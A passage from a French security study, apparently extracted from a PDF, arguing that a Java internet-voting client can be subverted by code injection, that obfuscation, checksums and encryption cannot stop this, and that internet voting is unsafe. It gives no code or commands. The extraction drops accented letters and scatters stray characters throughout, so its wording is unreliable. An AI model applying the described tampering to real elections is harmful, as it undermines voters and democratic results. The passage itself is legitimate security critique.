Pour une dmonstration plus complte, voir la vido en ligne l'adresse suive e e a ante : https ://vimeo.com/42935480

4 Contre-mesuresCe type d'attaque est impossible prvenir, moins de garantir la abilit a e a e complte de l'ordinateur de l'lecteur. Malgr tout, on peut essayer de rpondre e e e e par avance aux solutions que l'on serait tent de prsenter pour corriger ces e e failles.

L'attaque est facile car le code n'est pas obfusqu. L'obfuscation, on le rpte, e e e rend plus dicile l'analyse du code, mais pas impossible. D'ailleurs avec un dboggeur analysant en temps rel l'excution du programme, et en se basant e e e sur le fait que le choix du vote doit un moment ou un autre ^tre envoy a e e au serveur central, il est facile d'analyser ledit code. De plus, l'obfuscation ne fonctionne que sur le code, pas sur les donnes. e En utilisant une application native, on supprime les capacits d'injection e de code a chaud. Non, cette capacit est facilite par l'utilisation de Java, e e mais avec un langage machine on peut galement injecter du code, d'ailleurs de e nombreux virus informatiques fonctionnent de cette manire. e18

Le code client pourrait vrier son intgrit par une somme de contr^le. e e e o Le problme de cette approche est que l'on suppose que le programme qui se e contr^le lui-m^me soit intgre, ce qui n'est pas le cas : s'il est possible de le o e e modier, il est aussi possible de modier le code qui contr^le l'intgrit. o e e Les JVM ne devraient pas autoriser l'injection de code. C'est une fonctionnalit hlas ncessaire pour les dveloppeurs. Eectivement cette opration e e e e e pourrait ^tre plus contr^le, mais c'est du ressort des socits qui implmentent e oe ee e ces machines virtuelles. De plus, rien n'interdit au programme d'injection de remplacer la machine virtuelle en elle-m^me. Le code de la JVM standard de e Sun est en partie en Open-source, donc aisment recompilable dans une version e pirate autorisant cette injection. Pourquoi ne pas crypter le rsultat du vote directement sur le client ? A e un moment donn le choix eectu doit ^tre dcrypt, au moins lors de la saisie e e e e e par l'lecteur. D'autre part, le code de cryptage/dcryptage est inclus dans e e le code client, qui est sensible l'analyse de code. Un moyen serait de faire a eectuer l'tape de cryptage par l'lecteur lui-m^me, en utilisant une cl unique e e e e par lecteur, envoy par courrier ; ou de se baser sur un priphrique de vote e e e e externe comme un appareil cryptographique brancher sur un port USB. a Comment alors garantir l'intgrit de la cha^ne de conance ? A part ma^triser e e l'ensemble du matriel et du logiciel, il n'y a pas de moyen simple. M^me e e en imaginant la situation extr^me o l'administration vous enverrait sous pli e u scell une cl USB auto-amorable, contenant un systme complet, valid et e e c e e chir, sous lequel vous amorceriez votre ordinateur ; il n'est pas possible de e garantir l'intgrit du BIOS (le code machine de l'ordinateur en lui-m^me) qui e e e excute le systme d'exploitation scuris. En eet, ce BIOS lui-m^me peut ^tre e e e e e e modi par un programme malicieux. Seul un systme secure-boot, avec une e e somme de contr^le du BIOS valide manuellement par l'utilisateur permettrait o e cette garantie ; mais avec une complexit telle que les faibles avantages du vote e lectronique deviendraient alors caducs. e

5 ConclusionQue peut-on dduire de cette exprience ? e e { L'intgrit de l'ordinateur du votant ne peut ^tre garantie ; e e e { L'administration publique d'tat impose un systme de vote qu'elle prsente e e e comme scuris, mais qui ne l'est pas ; e e { L'attaque prsente est tellement simple qu'une organisation politique aux e e intentions discutables peut facilement dcider du rsultat d'un scrutin. e e

19

Compte-tenu de cette analyse et du fait qu'une lection se joue parfois quelques e a pourcents, j'arrive la conclusion que le vote par internet ne garanti pas l'heure a a actuelle les besoins d'un systme de vote dmocratique contrairement un vote e e a classique dans l'isoloir. Je laisse d'autres le soin de faire l'analyse qu'ils voudront de cette tude. a e Peut-^tre serait-il souhaitable que la dcision d'implmenter ces systmes soit e e e e soumise un vritable dbat citoyen, an que les outils de la dmocratie ne a e e e deviennent pas des jouets aux mains de quelques spcialistes et socits privs. e ee e

20